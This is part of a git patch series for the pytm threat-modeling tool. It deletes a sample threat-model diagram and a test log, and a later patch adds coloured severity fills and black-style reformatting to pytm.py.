zADCt_d{)<py|=7f^1ChXA+z7$;exw8RxMqqXjC?6N=ROW#g*g{YL2NF)l(*$I;TZH
zn%x*I7h;-lJJosik(YkizlQDpUTa`l{O`WXD)&Esr@UlwUsp@xH}~D{y5;|LwYu$D
z+qBA(yH4I8Ot7D@e<EAUQ+SEHl-hXNETyq;N>=&K3evI;?U9HbxOZWlM$gjl3Wu!Q
z<S>XJ)8+~|{ZaB-mTL6mR6^js@ndCaNreBC!onY4riFkT43d>KYRD#6PIqZ6nG-g^
zU94FuzpoX2)M%Y|sL<QM5}lNiyQkFdyx~Ul2LdXsufMsd|J<A4mgjyLg^K|iO>49n
z?EgE;YfA%}D7Urb=hYDGh##ete-!Cd8EUtj+uku^Q(@z-{Z{VQ5!g@RZQH_wHs9*y
zI?2#jy^s9j?)oWr{Mi}PbR&yo0AE+EpArwB^uu+{Y1nr;Ua$}&cf6UsY+q?SH2l&(
z+87UPuM3*#LAzmsCj`k+s5aIVrI=?2BM;h2Z=cRr>-^YyAIx6t<w__)7b?scsr2gn
zWi3XJ8MB96gIuZmH6k^VN)-qsB5Y9_k!h>~8XD{5<>mimYb!&Gv9S)XT-ABHfmg5k
ztbHDN*|wzUy2lMIdyV~#NelbD`WZK_{_{SKCZ&&=IkWN)F92z#{NrZL3MVa0hqljf
zBC+Bte4B7}Hzhh2d}IfX9C?p#lD+M9gh}lj?@rbGb3gt7Zbe>W5Ag@Hute=#fQvCc
z9mVU|bhMGdHPnz(OrYOCGIKgHFcB_-0L;(SUVYM0`O(p%Ddsp1>79<nf7XrqiV{1R
zNN1l)EpkXy+T~3p&MW0E<7;ZMy<zZkkGj5H(1BF|wK+jd$}%>k2s0#$9k0~{{~X6d
z4N5)$1AwnE$lYsZpN3gYt;f+qfd6S1n;72T_vsq63nd9bREVM|ijy;^-o9HXEY|tk
zr+0QHB$RNn_>ywG;H0`aWBsH*CNCT(%TpfB_W93mF5kcCYptavB_w?8)5VZ{52ik1
zvnMFS@^$AV)S~i`ZjdxHKVM1V1-hL3_Iht-M-7qIpSdNZqMEwH^KD7E5R%@q_&JS2
zNvXkJuJ!DqeS($36Bk-$P;AsXg?Pyb`LbT>Oh3+<gq?wBVa`eZY+3hpjJ$kJrVX5v
z$8e29TNY}zeRW95!>F^HTu@_VtM+Q)Bicu5QE0w+u(o{Z*y@$P%;M*F!?LA@N+Na%
zCCzLaZ~|Fu8j)#D!E)aADq~|0qtt{7x~iyi<7A=e(bkmwVFA**_q>JCt7rH#GJ{KM
z`p8SbcHt9?YxQLOKR(}a-}PsZEWiQQ2*?W^@HPC6hoMWsgr+XFaAY)}UF_`*(z+qM
zy|BaD9gy$LaTb#pmee*yN)^q0cXQCtK2ijD`zJQa>grEqRy)@D2ZV(YUrx!c^BN#5
z0a!I<0&|5|F03n=7_qn0>uG*OmQu7rFB0y0bi}#n>SEKd^y`ahQEvMqGk0%H34~Kd
zdDoawQk&BgsW0?{67Et<*h?WPZ<-rdVW0SeLuu5lxo+<;f;&L_&V3Me99-Rxx!F(;
z9v=5}%oYS@I6^b#3f~ppoJZ|}iJw@#4A1^sY_m@zKt8zhOXr%7fms<DHUw;z6g+<D
zEG_{zS$EWXz0~eDlrElmk<=oW4`s1=zV*uILvT8Ciau0814ik7VrPnOZs@x;+uS7V
z*Db&5<3pL*+Ih9AsEzU83EbV3s-{D7Mi*ofd*S&R>Samn;;6Eq*5eG&x}#-<!=;^3
z7_=ied`IjOTvxNfG#>-nQvGQq8L9xaq+2ZNDc`J<muU_LCVmBWszkp&^z`E<O$vly
zY1naQo`9E-(qZ-xUo=~(u#Z95ySBDE%HQ)Q>3c`{{CO0D9Un=Xnn5o$<3p7?quOhe
z&H4$$8)}FoUf|a-r$}eB6GFRF<(4a1Ik#O#xOZ|H8qe+<DGbd(-;{|zO#`#@xwSnF
z#`U9onk5N{5=&VDlHXQe{R}@!d&`y!32$h^g|!wlS9wO4YB`ZQF*(-D3X%?S#E)XP
zO=O3kaPZGBe$qi&c@tzQXD-@T^oqCBng?QzplH3&993Vf{^OQ8qS#&3g#@&Udn$B1
z^l`m}1E#onQoaJA=DZC%TjBinz0Ed@QF`uKFbO1^J9?C**(@u+pK(BTTCwTKETMuN
zd-x|o@@~y->xT#ePyEG0Hs)xPiH6PJ`ICs6e8~cEx=M>3K|Ht85OXe^GLcQ7aA*aX
z9lm5T49{sc$1<_tKo4}bV@U;LfkP=Rzt(K!@=%*^ZwNJFa22oIMUf+?9{47JJwImf
zbp_4#01zJ>R=W(-+?1)i8tUr}98=FCrr_PCW@SyBGv}mO6(KFn)P7IX)vuGPE)Vkg
zay55H)5kXziL!62uY4T-1&({{X$Ltc@9pHS6W|H7m}BrQVLop^St)A$mw>oP&j0{i
zFgQUd!2|@kV?>eH+x+j?-gKPlfimbdBZ(!{|I5ODOsL3+^m?x?*v^E8+mI)|zWqeI
z19>i%HX0$@^bNO<?C{QZ(@D479kWPULv{3!YUjDE%;VDv3eR->GX&`jWxR+P=)4)r
zt{K*P0R!~s-XGVB#>gV2&`x#WkRgUPCAT#5BBK=*ujRP~A}h!4^bUg#j~aj33z^B6
z*21Fj!ptw$SuF@V(~AX_$>!~>?@P>>f^z=={7}}Z)SPs>QWJCB;@ms8lR3lVj${(?
zIa{vkBbe4zNV#j=Qf&fsdk?!H80YHa$Bi=H4Gx`bG_w=fKk?6bc%*{|WIH$XB5)_n
zcvRO|H#1_I)t;ujN<EXRw~?|M`+?`%ze1=LrsOmNHe6EZi|+^}>yfarJY3`yvJZO~
z#L7uru_#z>q5Q!QM!apv=0b5nkUqF#Wn6vdZ~kW9Zz~HRvtxlM1u!yEQSku1{lEbO
z^le_)=+-6m1-?JC{%jnvxZ>PFt!Q~Ar2xK!^Xn&SG*S+q(@qW!(sC)jS*u0W>)QN~
zpuG8<!MQmr#wY!hT-n0dxCS+C1Iqzbk{ls=1?^qc9}?8B5}ozyYaNRr_buxt!=A~Q
zOP7rGWi%h>?Z~QaXo!*YIunn<7AaY0^XBA)=S+8!*~YD4pJCc91eZ6(;%8N%RX!bo
z-zfNeep)S~sUO1Xx)^wz?g!g=5Bd@th$3qut1}%>*0#1f1z16lETU^nkp!%WQwgO6
zA+_ni4L!GZ2mWZi&WM?PK$HUAiy=JHL`i^Fw0<8c-}k(mNh3#&j8)H4THQns-0KV$
z&YupYJPrmQ4)yfxJwpjIMb*507M@Mxm+hkr$QT^ADx{@&zzj<=B|lbJ=ccE(ITkZV
z;MQyJJUnt1B-_`0dyhFGtP2oa#V$<vIM7KKl=h5aVq#MBrzJM{>|PfIDvEMCvFmeh
z=@}9GMdq;k)+ygpcGRfDmoM)KH8G%GUh4Ja!W`!m2U29{^ug|CjTYNIJRZjXGTS<P
ztD%l#QEuD4IVerTAN3m$6d1G3X|P657dx3d{_)wo`4E^~RJ;Xnj*a5VE&NH`W}BqD
ztKUt+$1Xl)Wq-#*9AR*tPRHX(Lx>;EtB(Dg{Xn&DY6Y%p%l3_qkgp0Dyz9KXykGo-
zamRYgFaDxzYh$AREmd&YxXYTNv9g-oH@TsfB7&`ku|+O&K~hPE%OIlbUN(7@1%nl*
z&LS$>ADz7!%toc!ZMky`8F>kY-kY~CPcj@dc<`;nlq)*?3kUBvxN4l@ActZ6_}n?J
ze2z)x&%+=r2AhkiuFskL@v@=wI$w<~Ul9eOI3AZV&Mp-8AruKkbeQ&eJ=%eW4g>}Y
zHz7Ca)Jw-GX@xkGfTw$Z&6K-D&W}nqT%|jF2=kP8-^=?=J1uq6Tug4LLk+fX=3L_C
ze)wuvdkP{^NYq1nYfiKm%N`gAtZ8}w4JugI(CV*$#LcfTG8WHlLA2b1gjESpgaq06
zyhUCFg-LlTh2#N%x`Dt^hZ84R^`BqzcjYW6VgIaf<C6$H8Z}CFS~5Hy0HQU`&tDO(
zMe+LGNRM4i<kR_q_BQs;SD>s=U~E>RGnw|>vn9#?@+DeUq5lC;K@vHfd@*tM?2hM~
zfAwb^44~PzuYt0ySzeAO=N6;SlN0+`<bwW0L?8i=*>~;Q0@j1Fc6h$LRQG?^r#%Gk
z3^ule-AX~5+>1^M%+@H;Op#<kEy`xSd(bAxIF>XS;`GHTtIe$jjWJ=?VVV>Maw4N?
zg_*#bu$FtbZ;PQUOQeGd48jJ7bcWdQh@!sza@2Lkleg!<q!Gp-WE0PWI^n*y`QMn(
zC%#)3Ry8Xr2ll4ou3%BpDf1-ONNm_5&P~>VnIb~PiEX3ues4_)d0mxA5v>3Q9Z+g#
zK*SKOLJz&2$iK?7Hzy}51guw;ORRX!uAOfbQgYu1Bs_zW9ty5`D?fkXoqP9^-*ph5
z2g5sQ@cH`DCowk}KMn=cq(`pF94n<=&J@i`m0qyNLNTmRpl3SQ5#%@;?rk)&tUUSj
zOtB^^6j;YZeK8OG<Ah}WOmoN|-weKdSmV}$yC`FnPWmSpDA6E1XlW;0RDUqfNND-}
z_Yx}mb2o)x9HQkX+(#U|<^^f_YDEkA{txrKhDMk6G$;{1wGdZB;p&NbAV_^7BGyE6
zm%l5@6F|__6<^YSr3D%|Dbeie>poK5Mf36!(vL>CneT`P+b1%lmVono^Wx>pLMS|9
zVY;xLh`WFKWn8?1b6Z=tH^0gFxK#bCgj<o3gMy~QHr`;xCPoWM?>ZPI7&Fl1@Q%fz
z7GPR5gxqc++9OH)f>nKdxD5!bK|_T4seacCVyAB>tbw6fWV{6K5>$SOC|L^#ZSo}v
z`V(YB*PRP>SSzYWA%LGYR7jDk3-%UHTv7j`^=dlbVNPUAV-BW!q_OujPDY6iP85<?
z(EsjAXg?eK^5ondGoaK>BTdu&?xw{_!_$yga{~&^@^V$gGh#Nst%}nd9@{))0*4e}
zM&M)lmeb~@aB~kG%Cy`dK2bs02$h+i89(!^bQn#sgK?B*O64TdfB|as5QH&nhPiB2
zlV5mX|9(Bm_^DG@>W4I2PuaXCtL(1ZXXYmm%Zvg^wc6c6n7uu0_Cmg*V`6fm=@XAU
zgy~QZJyaqgjAMJ~p-nS=9YO20npbb{I)8W+EJy`pq!k5bss+;_p~;`yWNtl$#Zf1~
z0hq!GxG%%>F6>2aGL6BSVK0xkH4Q}Z)2-`i##zI}-2s}}yPiJ!0{ttoqK7aO$k=p7
z)W-H15pdz;PPcMXnKP#%K3#o+E?R}sOc<g3XDwBAQSl+Cl0gXk`0nm5!zYWVXl(X1
zs}yU>2n-y``;6q22buZ49<u%O>#VIVF5NK)JOUU^B-Vjpd;h1lKH`rA==rzDk5d_B
zK$H|bvFZ;^H{Ks#7Yn^V-gpu#WJMVw5#5vZ;kjCHATn}<fQdnBMYF~&%OV<&G~sdK
z?fsah7=UsEE(xG62rSH_+uC21`m!#mtF!XzdM78ATnvQ<#$~g#wq67jz_ZMyT?cvF
z3n19W*7>Lkdn_qrMZ*|AZ8wj^^UKNbK&rgMb3Y6PzR^gjw4OGUB_qKxHwKd3ri5*t
zlWk&?bvvj(g;ors+M?*gOOzt_N+i+`wHGfmn0Jn)>zuNSW&ckh<CNDP7JTH$8A(xf
z*N2&!`Z5h<039UAgBO(AsRra*#&4~nH&mqIE}~<P<w2dO^`sUZoM*AF#TYtqD9DN7
z_EX%#B9V}kQXH9M1sp$qJmH{D%qoO$tCOC_q;}wevwZa`H96hrH;n@VR&{=Os?+q;
z$xNVCH>BfM$!I3D`o$*Wd4sw0L5gOj(B{m)bXtiOFiRihOfhgxr0lM#t8;lec%p;n
z6&f-OZMA7PHdW=ck6330_mz<xteNWRR|;5ve2}}(EdDwTh|ScaTFLdD0a^Vf8JW%+
zNNMnP(=nYXi|fRMWya=bOTD~)LdYN1Z^^Un+Ee_bXMVb<-}jY_ZZRdS*oBJ(A=Onu
z+`gs3y{)EGqS^x1sXZxK4!N|h)N*6s{(>8p)AaQ8u5pD(JlMJT!jJ$41%)3^j}7yJ
zKI}o0>#KIpKRoAZMGxSP5F)9C^I6}8s-C#T2AGA36}8RHIy7N;r3?O3lA)Q+`GW$^
zSQ6Y@f0C5%ZYEUkxjQa@e%iY8Q_Xi`Eef|U8+wR+h8#E>UCchiM9svCGPsW7r!v!t
zE)`%r^gd1-fCZm`D;>?Q3-Eb97XlO1LH=+v`AK3&ik)gLMmF@BSkH|gJ$e__EzxQb
zyLGy@j85j$be4`g7Dy1g@O|$^-rn1{Y<1!&bZ~g#^1Kjs7YrcmROJ}+h$#>cESC30
z;Bi5OT8aa7`p(jpc28K?w<+y(V0OSGY+&*rh)m{}wsgxd)n(EkcA*@e*Qo%+fJaXF
z>rP&QeVq2aA=zblbNWp(w4CD_AG2uFMcj2nK}7*7G$wFls5pl4Z~1pZo`*+JVCE2>
zJcP_o=+$)*WWj)cNpZv3djFgC;pyn}M{chlP~J5)>dnxUlrat!$*26s4$x4Q=(;EY
zEV;Le57*InlAAP$TgJd-A*~`+eBYhkeKqwN)LV1z1vZ4D)sOY3(;XiDh~b4&(l8MI
z`5TnZ#S4r~<^E5Lh%kbZ!Tkn(x&Wd&X3Q8lul3yq&q?&$u|tJ`*oEr3jp^+)2yzx)
z?=)%hb?DS}ryU<c7sf%zhi1DBMiUSneio5bRw{1I54Gk`5{|B-ydy!1?;{|`)hp+U
zU1u?i25Ib{pc@=$JB2Qb0O?7EN##IhNlvrgv|8+`5``<9DD%lm!jOS8lI}|VSh_*m
zx%A**S=m7&M%*RbK2Ej%j>4l%z9IpAm^3p`8e|j2Vgsu0Q%CEgh9RPv!wBI#Vp=#u
z%l56FN>ft|ezhG8nUi`h=EeX%OoH|V*~zghm%M)M*fdQpm%t@3=5hq5%l55G5uaZy
zLb0%jj9K*8U*F`Gye{s9T5*}YYA?pz=D8k6DLPFr+F3PiY1V}v!|9H%uwS;XY{M(V
z^O6O$=6}7zZ*|ieG#(x#f|4XRu<bCcU(9oyP0}F^U{JMT>tq#rh7&`|h^E?8BBpEV
zqb8_@xnPUbQ+H?I{ag$PaIB!k`Kn)<Ebc822k;lO1*(A5R3s?cQHr!o*QK^`3cV=a
z&m#7L^_z|b8N;^8Bf@|POoGi-tplQHvbMKZ7>TEdSdBa(EXUI#77WTNwX5gx!buF_
zxrz;)Vud5`X;ae!8WZhfJlfSVw;rmAb^!?M4o|e>g>QdMp{xW#RCPH^KgljZLHL%U
zVG5vpW@4r|X;K~S%NR_yuqs<UyJ-jyGpBSMK`SD=qjx6q+8<5Q`~cDrh87c(hSABR
zvcjE<Mm%4j9&g{;>8VTx&|^>OP;L&Fb?z^-wtf?&B{CQSF7a)RO|(Z&_LFXp;jOar
z&uY++y*Vx$c^NONny-GOkyK{l0IE>{i~Bl*4+tt7$&+Yn%9v=4^n4{h((CO)INEH|
zji#t-SN>cJB+El=19)>L-2J1461os<xxmMv7B2Vj_%!Ox9;L~$T(g-G8=TLY<;hK&
zI#qj0*8*MJeN30%l6v0rhlQax=~uLMbOifcfcY<Ai7X+Rl9fp#e+OJ&Z1T@m*q7R8
zTx5j_;q-?QBgllt*s>BqA=wjw|3;@2r%Z{ZtA&Y)%xE$0Q=E9Qz)Af1Wxh`&BLT7Q
z38`mcq3C3~Uix(Hqn>AdszIH%ene+Uc;|!`v!3#sAJVt#t7MFDXCLfh22Iq65~4KO
zL#VXC*Tg0#V#Qnh&jnD*?*b7T8l+WTw_;thQfSe|OQCo{Q&tvGf5Y>V#$^OP1LtCT
zM#!_4<fJlZt9gd6pZwhxkGZ3%vMt3|uEJgo&Kz(PZbQ{(VWmy3Or=+un(APuNFj$^
zbaZ74MO>_5A3X9o#n2S5u@VIzJM|Hj@_#*X_i@>F1tjmb-G^wagS1x1RbDbHa~2KV
zqP-7#^S{^6i@y@lV%ooKJP3^2vK-Bb)SRVLsQzKWa0^e`dhy?@+3CP$)=ee;`Igu0
zRHF<Nb*-oH?6<nQ-h`+|0d~=JvKT4Q!1&Bcx;R7WSYTtgm>PTALEaB+D%an!!%Y34
zRI5dBAUsUO^o7)*+Pb<_xBe&}gjyUX7`I_j%qn&WT6>aG3{D1|t85_^@nzXcv<GnJ
z3vk^bG9@=%*kjey>_+h?cAwJSiDY7AR4KP|J{X4n{D}IvG}}i%F5CB@p5^bt;R*`y
z(&fwRNi00d^$rdKWdMCvNqWvoXiaK2Qv6vi9BHSF@>OoUGN3xGI5`-vtzMiUaLM<0
zQXv0bL005njKLI#rjIqR3&7jN{?>8h{7A_2a}QlK4?oS+Z^5I>C^~ow{_!W~+h<?e
zQuB>4wc%Hb-i%<@)+SmZB$<PNQE3cIa+Krvh9EywOXUolo`x|F4&LN;4-Br2<E!G+
z<@KzpYWp9hONPzd`~$^bR*>$%-fhY=b_c!jlWrU<PEcY!g=ji@@8>>Wy@l(Hs$5?*
zLv^h_U*`zTCYx6m{$5^FTdTov3Fts#p63|~*Lo270%%+SoVYMpv+#<_y*nV>>b0A)
zDJ^nrI-I_@nm%))ELBjn&(|(NOggoq5ENZp2eFq#T|I(ps<!`Tts#CYXo_UPYz6X2
z3YjiSI>#rA`JUmlT|CmTeye-RNBHmU(3NjqgDhj^ypC~HdzUU>c7X>15WA90KG`hu
zqN_(n?5YHh7rVdn0I!{m4-M0r4TJ``E3E3;b|OHD1H7CRx?Eqz*~R7izI|;dm0?|-
zBBlk?d6}rIrV}mrLcV-c6?Pc`a2Rj(etXt6kW#Vg$aLAe;ZX{r;OEyLLtJwB@Zp$6
z=Tx}6jpD)e|LLs+BW<tfpN|ry3!=0$%|nvR_Q_AaTV|!|0l@E@e~r2}!gakqjNeqi
z6@J0;l(m3Q9cl=Evpm)Irf-})LJKpW<4dRzm^Y`pDzw{Eh;t-^$CppMt3_TszZF#J
z=;oug=bd}pZH#@dHatkH_mVPK;|zz5P11hSeV2l=Nvo+KSQ9x2=O@P|z2*wufuN`r
z7Z;bE<@+2P$3ggjcAy-=GSck(B*V$9IQ;E`Rd;+)yHWGq0`VxT`RCuY<w`(@CAvT?
z<m+!}I?{Y_MO+=8dK*}7@h966CNM@TljmL^8_y4a$+e+cgXK*+QYLbuBy?)JP*Py0
zn&$Fyg=pB|xKK)o+N|%k7=3v^yI%E!48=AifHX096YA~z_YX6vcIJi>k|&RNzV=RW
zaUDf;9GUFTrj<TXluabGJ*d=g*P3v*3k`GznfEr~ac17wdv>#w!_4rLE8;|jDR2Pl
zEipi$w55<b!x1Hv7^~kjQ<e+j{?bofV>tVmk&jYn03aT)V<XE+ESseLrK7SxT_i!)
zK35F54m*{ywT>NT>^Sx(LzXe-2Yq?PGFIdd^;bT>Nnh%PW=8;G@RfvZQJA=*Ajt%<
zMJOW3lQv+>L@MKPR~oh4y|vv;S~Pm@9w!?WD?%U?1o8aD+6h7bAexJKkM#nTIm3(s
zIt*lRkS2vC!Q;o-j~q5B1Za=|AkLu>5J3|?zqoh6Z@>Qf>yhAKu?d(7l^B{cQGtPp
zm?HoA^DBqm?74I*xTCGx7US%)>qnXNNVKOce%;jWDH0h&Hc|A7GN0&3CnxOpSHyK!
z%3PR*{o22Jpa=h%Yd!Nu=2@&n9!a_bk6Mj+G>3)3htOS<lf(i_clSc15$GtP6l!tc
zVf_(ZO+Ou?loOqtf#EBe3|n&d<;!y*rD2(KGSW!KpR_HyGuHb7(Za0)Thl$@OZ*=%
z^H*~wnkC>OUMxx356To35i=^15N;kkZWNFk^Npx?qGHEoOWQ`TO0avJHl8SQ^Xb#4
z;=ub|kp3%PX!J}EuBUJDleVq+yJwpAYm5nfFaOlUKG=GSYod`gQn0^jr7?@sNB^rN
z0Lo6Yue?_#&!apt;qhd$r$*1>qyP9}<L`i#(~;@~i!7@Vz9xOxgH0uO7Ah)czur2@
z$jHF`w-x5i%e)hOKDPTy-(7ZW`4rRTrw?_;HpIC(UAdFt{du!lp%sqFPQOj8vt6~W
zdD)lCDO3IIEF$hE#}}OcF(fML>By{{)_MG(wX6UAg93ie=DG5%It`>;d;KH9i%;Tb
zqAl|Ne|+En{SiaQQKS)fCW$u#aAEj2Xf7&*|N93N$$6BQEfmi%>dvh8ul}lAnv1*t
RI#j}cv^7^OPS&v8^FRMk6Yu~4

diff --git a/no_colormap.dot b/no_colormap.dot
deleted file mode 100644
index b745fc9c..00000000
--- a/no_colormap.dot
+++ /dev/null
@@ -1,134 +0,0 @@
-digraph tm {
-    graph [
-        fontname = Arial;
-        fontsize = 14;
-    ]
-    node [
-        fontname = Arial;
-        fontsize = 14;
-        rankdir = lr;
-    ]
-    edge [
-        shape = none;
-        arrowtail = onormal;
-        fontname = Arial;
-        fontsize = 12;
-    ]
-    labelloc = "t";
-    fontsize = 20;
-    nodesep = 1;
-
-    subgraph cluster_boundary_AWSVPC_579e9aae81 {
-        graph [
-            fontsize = 10;
-            fontcolor = firebrick2;
-            style = dashed;
-            color = firebrick2;
-            label = <<i>AWS VPC</i>>;
-        ]
-
-        lambda_AWSLambda_0291419f72 [
-            shape = rectangle; style=rounded;
-
-            color = black;
-            fontcolor = black;
-            label = <
-                <table border="0" cellborder="0" cellpadding="2">
-                    <tr><td><b>AWS Lambda</b></td></tr>
-                </table>
-            >;
-        ]
-
-    }
-
-    subgraph cluster_boundary_Internet_acf3059e70 {
-        graph [
-            fontsize = 10;
-            fontcolor = firebrick2;
-            style = dashed;
-            color = firebrick2;
-            label = <<i>Internet</i>>;
-        ]
-
-        actor_User_f2eb7a3ff7 [
-            shape = square;
-            color = black;
-            fontcolor = black;
-            label = "User";
-            margin = 0.02;
-        ]
-
-    }
-
-    subgraph cluster_boundary_ServerDB_88f2d9c06f {
-        graph [
-            fontsize = 10;
-            fontcolor = firebrick2;
-            style = dashed;
-            color = firebrick2;
-            label = <<i>Server/DB</i>>;
-        ]
-
-        datastore_SQLDatabase_f8af758679 [
-            shape = none;
-            fixedsize = shape;
-            image = "/Users/izar.tarandach/Src/pytm/pytm/images/datastore_black.png";
-            imagescale = true;
-            color = black;
-            fontcolor = black;
-            xlabel = "SQL Database";
-            label = "";
-        ]
-
-        datastore_RealIdentityDatabase_2c440ebe53 [
-            shape = none;
-            fixedsize = shape;
-            image = "/Users/izar.tarandach/Src/pytm/pytm/images/datastore_black.png";
-            imagescale = true;
-            color = black;
-            fontcolor = black;
-            xlabel = "Real Identity\nDatabase";
-            label = "";
-        ]
-
-    }
-
-    server_WebServer_d2006ce1bb [
-        shape = circle;
-        color = black;
-        fontcolor = black;
-        label = "Web Server";
-        margin = 0.02;
-    ]
-
-    datastore_SQLDatabase_f8af758679 -> datastore_RealIdentityDatabase_2c440ebe53 [
-        color = black;
-        fontcolor = black;
-        dir = forward;
-        label = "(1) Database\nverify real user\nidentity";
-    ]
-
-    actor_User_f2eb7a3ff7 -> server_WebServer_d2006ce1bb [
-        color = black;
-        fontcolor = black;
-        dir = both;
-        label = "(2) User enters\ncomments (*)
-    (5) Show comments\n(*)";
-    ]
-
-    server_WebServer_d2006ce1bb -> datastore_SQLDatabase_f8af758679 [
-        color = black;
-        fontcolor = black;
-        dir = both;
-        label = "(3) Insert query\nwith comments
-    (4) Retrieve\ncomments";
-    ]
-
-    lambda_AWSLambda_0291419f72 -> datastore_SQLDatabase_f8af758679 [
-        color = black;
-        fontcolor = black;
-        dir = forward;
-        label = "(6) Serverless\nfunction\nperiodically\ncleans DB";
-    ]
-
-}
diff --git a/test.txt b/test.txt
deleted file mode 100644
index 86b5ed8f..00000000
--- a/test.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-..........................................................................................................................
-----------------------------------------------------------------------
-Ran 122 tests in 0.047s
-
-OK
-/var/folders/w3/24r9gvg51fl48q4192fnfvrh0000gp/T

From b55d4235dd8d9ad9c7d5c15c7cddac63becb732f Mon Sep 17 00:00:00 2001
From: izar <izar.tarandach@gmail.com>
Date: Wed, 27 Dec 2023 15:35:26 -0500
Subject: [PATCH 83/86] added Matt's suggestion to colorize the element's
 background.

---
 pytm/pytm.py | 132 ++++++++++++++++++++++++++++++---------------------
 1 file changed, 79 insertions(+), 53 deletions(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 275d5f60..9906648f 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -33,17 +33,18 @@
     By Chris Beaumont
 """
 
+
 def sev_to_color(sev):
     # calculate the color depending on the severity
     if sev == 5:
-        return "firebrick3"
+        return 'firebrick3; fillcolor="#b2222222"; style=filled '
     elif sev <= 4 and sev >= 2:
-        return "gold"
+        return 'gold; fillcolor="#ffd80022"; style=filled'
     elif sev < 2 and sev >= 0:
-        return "darkgreen"
-    
+        return 'darkgreen; fillcolor="#00630022"; style=filled'
+
     return "black"
-    
+
 
 class UIError(Exception):
     def __init__(self, e, context):
@@ -259,15 +260,16 @@ def __ne__(self, other):
     def __str__(self):
         return ", ".join(sorted(set(d.name for d in self)))
 
+
 class varControls(var):
     def __set__(self, instance, value):
         if not isinstance(value, Controls):
             raise ValueError(
-                "expecting an Controls "
-                "value, got a {}".format(type(value))
+                "expecting an Controls " "value, got a {}".format(type(value))
             )
         super().__set__(instance, value)
 
+
 class Action(Enum):
     """Action taken when validating a threat model."""
 
@@ -459,18 +461,25 @@ def _apply_defaults(flows, data):
         e._safeset("dstPort", e.sink.port)
         if hasattr(e.sink.controls, "isEncrypted"):
             e.controls._safeset("isEncrypted", e.sink.controls.isEncrypted)
-        e.controls._safeset("authenticatesDestination", e.source.controls.authenticatesDestination)
-        e.controls._safeset("checksDestinationRevocation", e.source.controls.checksDestinationRevocation)
+        e.controls._safeset(
+            "authenticatesDestination", e.source.controls.authenticatesDestination
+        )
+        e.controls._safeset(
+            "checksDestinationRevocation", e.source.controls.checksDestinationRevocation
+        )
 
         for d in e.data:
             if d.isStored:
                 if hasattr(e.sink.controls, "isEncryptedAtRest"):
                     for d in e.data:
-                        d._safeset("isDestEncryptedAtRest", e.sink.controls.isEncryptedAtRest)
+                        d._safeset(
+                            "isDestEncryptedAtRest", e.sink.controls.isEncryptedAtRest
+                        )
                 if hasattr(e.source, "isEncryptedAtRest"):
                     for d in e.data:
                         d._safeset(
-                            "isSourceEncryptedAtRest", e.source.controls.isEncryptedAtRest
+                            "isSourceEncryptedAtRest",
+                            e.source.controls.isEncryptedAtRest,
                         )
             if d.credentialsLife != Lifetime.NONE and not d.isCredentials:
                 d._safeset("isCredentials", True)
@@ -539,28 +548,26 @@ def _describe_classes(classes):
 
 def _list_elements():
     """List all elements which can be used in a threat model with the corresponding description"""
+
     def all_subclasses(cls):
         """Get all sub classes of a class"""
         subclasses = set(cls.__subclasses__())
-        return subclasses.union(
-            (s for c in subclasses for s in all_subclasses(c)))
+        return subclasses.union((s for c in subclasses for s in all_subclasses(c)))
 
     def print_components(cls_list):
         elements = sorted(cls_list, key=lambda c: c.__name__)
         max_len = max((len(e.__name__) for e in elements))
         for sc in elements:
-            doc = sc.__doc__ if sc.__doc__ is not None else ''
-            print(f'{sc.__name__:<{max_len}} -- {doc}')
-    #print all elements
-    print('Elements:')
+            doc = sc.__doc__ if sc.__doc__ is not None else ""
+            print(f"{sc.__name__:<{max_len}} -- {doc}")
+
+    # print all elements
+    print("Elements:")
     print_components(all_subclasses(Element))
 
     # Print Attributes
-    print('\nAtributes:')
-    print_components(
-            all_subclasses(OrderedEnum) | {Data, Action, Lifetime}
-            )
-
+    print("\nAtributes:")
+    print_components(all_subclasses(OrderedEnum) | {Data, Action, Lifetime})
 
 
 def _get_elements_and_boundaries(flows):
@@ -746,7 +753,14 @@ class TM:
     _data = []
     _threatsExcluded = []
     _sf = None
-    _duplicate_ignored_attrs = "name", "note", "order", "response", "responseTo", "controls"
+    _duplicate_ignored_attrs = (
+        "name",
+        "note",
+        "order",
+        "response",
+        "responseTo",
+        "controls",
+    )
     name = varString("", required=True, doc="Model name")
     description = varString("", required=True, doc="Model description")
     threatsFile = varString(
@@ -799,7 +813,9 @@ def _add_threats(self):
             with open(self.threatsFile, "r", encoding="utf8") as threat_file:
                 threats_json = json.load(threat_file)
         except (FileNotFoundError, PermissionError, IsADirectoryError) as e:
-            raise UIError(e, f"while trying to open the the threat file ({self.threatsFile}).")
+            raise UIError(
+                e, f"while trying to open the the threat file ({self.threatsFile})."
+            )
 
         for i in threats_json:
             TM._threats.append(Threat(**i))
@@ -898,7 +914,7 @@ def _check_duplicates(self, flows):
 
                 left_controls_attrs = left.controls._attr_values()
                 right_controls_attrs = right.controls._attr_values()
-                #for a in self._duplicate_ignored_attrs:
+                # for a in self._duplicate_ignored_attrs:
                 #    del left_controls_attrs[a], right_controls_attrs[a]
                 if left_controls_attrs != right_controls_attrs:
                     continue
@@ -906,7 +922,6 @@ def _check_duplicates(self, flows):
                     right._is_drawn = True
                     continue
 
-
                 raise ValueError(
                     "Duplicate Dataflow found between {} and {}: "
                     "{} is same as {}".format(
@@ -1025,7 +1040,9 @@ def report(self, template_path):
             with open(template_path) as file:
                 template = file.read()
         except (FileNotFoundError, PermissionError, IsADirectoryError) as e:
-            raise UIError(e, f"while trying to open the report template file ({template_path}).")
+            raise UIError(
+                e, f"while trying to open the report template file ({template_path})."
+            )
 
         threats = encode_threat_data(TM._threats)
         findings = encode_threat_data(self.findings)
@@ -1061,7 +1078,6 @@ def process(self):
             sys.stderr.write(erromsg)
             sys.exit(127)
 
-
     def _process(self):
         self.check()
         result = get_args()
@@ -1097,7 +1113,9 @@ def _process(self):
                 with open(result.json, "w", encoding="utf8") as f:
                     json.dump(self, f, default=to_serializable)
             except (FileExistsError, PermissionError, IsADirectoryError) as e:
-                raise UIError(e, f"while trying to write to the result file ({result.json})")
+                raise UIError(
+                    e, f"while trying to write to the result file ({result.json})"
+                )
 
         if result.report is not None:
             print(self.report(result.report))
@@ -1128,7 +1146,6 @@ def _stale(self, days):
         print(f"Checking for code {days} days older than this model.")
 
         for e in TM._elements:
-
             for src in e.sourceFiles:
                 try:
                     src_mtime = datetime.fromtimestamp(
@@ -1205,6 +1222,7 @@ def get_table(self, db, klass):
         ]
         return db.define_table(name, fields)
